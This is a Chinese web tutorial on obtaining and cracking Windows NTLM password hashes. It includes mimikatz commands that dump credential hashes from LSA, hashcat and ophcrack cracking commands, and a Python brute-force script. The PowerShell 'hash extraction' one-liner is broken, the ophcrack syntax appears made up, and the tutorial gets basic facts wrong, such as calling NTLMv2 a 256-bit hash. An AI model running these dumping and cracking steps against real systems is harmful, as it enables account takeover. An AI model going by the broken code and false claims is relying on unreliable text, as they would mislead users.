如何解密NTLM hash值?

一、了解NTLM hash值的概念

NTLM hash值是Windows平台上使用的一种密码加密方式,包括两个部分:一个是挑战(challenge),另一个是响应(response)。密码的明文不会明文传输,而是通过哈希算法生成一个128位或NTLMv2则是256位的哈希值,即摘要(digest),再与挑战结合后,作为响应值发送给服务器做比对。

二、如何获取NTLM hash值

获取NTLM hash值需要具备管理员权限或者本机具备缓存的用户的口令哈希,未设置缓存的用户则无法获取到。有以下两种方式获取:

1、使用工具如mimikatz、Cain等,这些工具具有提取缓存口令哈希的功能,一般用于安全渗透测试;

// 使用mimikatz提取hash值

privilege::debug
lsadump::lsa /inject /name:{username}

2、通过域控制器获取,在域控下查询口令哈希,可以使用PowerShell命令或直接在域控制器中运行dsusers.py等脚本。

// 使用PowerShell命令获取hash值

Get-ADUser -Filter * -Properties * | select-object Name,PasswordLastSet,PasswordNeverExpires,@{n="PasswordAge"; e={New-TimeSpan -Start $_.PasswordLastSet}},@{n="UserStatus";e={if($_.Enabled -eq $False){"Disabled"}else{"Enabled"}}},@{n="LastLogonAge";e={if($_.LastLogonDate){New-TimeSpan -Start $_.LastLogonDate}else{"Never"}}},@{n="SID";e={$_.SID.value}},@{n="Hash";e={(([System.Text.Encoding]::Unicode.GetBytes($($_.samaccountname + ":" + 'SecretP@ssword!'))) | ([System.Security.Cryptography.HashAlgorithm]::Create($hash_type).ComputeHash($_)))}}

三、Cracking NTLM hash

Cracking NTLM hash的过程就是利用已知的口令哈希值,尝试匹配出正确的明文密码。这个过程一般需要使用专用的工具,如hashcat、John the Ripper、RainbowCrack等,这些工具会利用诸如字典攻击、蛮力攻击、规则生成等算法,对口令哈希值进行不断地尝试,直到匹配出正确的明文密码。下面是一个用hashcat进行字典攻击的例子:

// 使用hashcat进行字典攻击

hashcat -m 1000 -a 0 ntlm_hash.txt rockyou.txt

四、使用彩虹表攻击NTLM hash

与普通的破解工具不同,彩虹表是一种基于预先计算出的密码与哈希值的对应表,一般以特定的哈希算法类型、字符类型和长度为输入,生成包含大量密码与哈希值对应关系的表。这种方法缺点是需要大量的计算和存储成本,优点是速度很快,尤其是对于较短的密码而言,一些现成的彩虹表工具WebCrack、Ophcrack、RainbowCrack等均可使用。

// 使用Ophcrack进行彩虹表攻击

sudo ophcrack-cli tables:all --lm rainbow_tables --pwd-max-len 8 ntlm_hash.txt

五、采用暴力破解NTLM hash

暴力破解是指对于一个口令哈希值,逐个尝试每种可能的明文进行匹配。这种方法速度最慢、计算量最大,但是可以匹配出任何密码。对于较长的密码,其匹配时间可以达到无限长,故较多的情况下不被采用。以下是一个使用Python进行暴力破解NTLM hash的例子:

import hashlib
import string
import itertools
 
# 输入的ntlm hash值
ntlm_hash = raw_input("Enter the NTLM hash: ")
 
# 生成字符集:小写字母、大写字母和数字
character_set = string.ascii_lowercase + string.ascii_uppercase + string.digits
 
# 尝试的密码长度
password_length = 6
 
# 用于生成密码组合的函数
def generate_combinations(password_length, character_set):
    for item in itertools.product(character_set, repeat=password_length):
        yield ''.join(item)
 
# 循环尝试每个密码进行匹配
for password in generate_combinations(password_length, character_set):
    ntlm = hashlib.new('md4', password.encode('utf-16le')).hexdigest()
    if ntlm == ntlm_hash:
        print("Password is: " + password)
        break

原创文章,作者:MINVZ,如若转载,请注明出处:https://www.506064.com/n/331747.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
MINVZMINVZ
上一篇 2025-01-20 14:10
下一篇 2025-01-20 14:10

相关推荐

  • C++ 0xff hash值是多少

    解答:在C++中,0xff是一个16进制数,其对应的十进制值是255。因此,C++ 0xff的hash值是255。 一、什么是哈希值 哈希值是一种特殊的数据结构,它是将任意长度的消…

    编程 2025-04-27
  • 详解hash md5加密算法

    一、md5算法概述 MD5 (Message Digest Algorithm 5)算法是一种常用的哈希加密算法,常用于对用户口令进行加密,也可用于验证数据的完整性、数字签名等。M…

    编程 2025-02-15
  • Python hash()

    在 python 中,内置函数hash()用于获取给定对象的哈希值。为了在字典查找时比较字典关键字,使用这些整数哈希值。实际上hash()方法调用的是对象的 __hash__() …

    编程 2025-01-11
  • Hash云加速详解

    一、Hash云加速安装 Hash云加速是一款支持多种操作系统的网络加速软件,提供免费和付费版本供用户选择。要安装Hash云加速,有以下两个步骤: 1、前往Hash云加速官网(htt…

    编程 2024-12-28
  • 如何使用MySQL Hash函数进行数据加密

    在数据库管理中,数据加密是非常重要的一部分。MySQL提供了一些针对数据加密的函数,其中,Hash函数是其中一种加密方法。本文将讲解如何使用MySQL Hash函数进行数据加密。 …

    编程 2024-12-25
  • Hash加密:从多个角度详细解析

    一、Hash加密基础 Hash加密,又称散列函数加密,是将输入的任意长度的数据映射为固定长度的摘要信息算法。这个过程中,产生的固定长度数据被称为散列值或者哈希值。散列函数必须满足以…

    编程 2024-12-21
  • Java Hash

    1. 引言 在计算机科学中,哈希函数(Hash Function)是一种将数据映射到指定位数的索引(hash code)的函数。即将任意长度的消息,压缩到某一固定长度的消息摘要(m…

    编程 2024-12-16
  • NGINX IP Hash详解

    一、NGINX IP Hash概述 NGINX IP Hash是一个HTTP负载均衡算法,它的原理是根据客户端的IP地址进行哈希运算,从而将相同IP的客户端请求发送到同一个后端服务…

    编程 2024-12-15
  • 文件hash值的详细阐述

    一、什么是文件hash值 文件hash值(又称“文件摘要”)是对文件内容的一种固定大小的表示方法,通常用一个字符串或数字表示。 hash值是通过将文件中的每个字节通过特定的算法转化…

    编程 2024-12-08
  • Redis一致性Hash详解

    一、一致性Hash的概念 一致性Hash是一种分布式哈希算法,在处理缓存、负载均衡等场景中被广泛应用。它的核心思想是将每个节点映射到一个虚拟的哈希环上,将数据通过哈希算法计算得出的…

    编程 2024-12-07

发表回复

登录后才能评论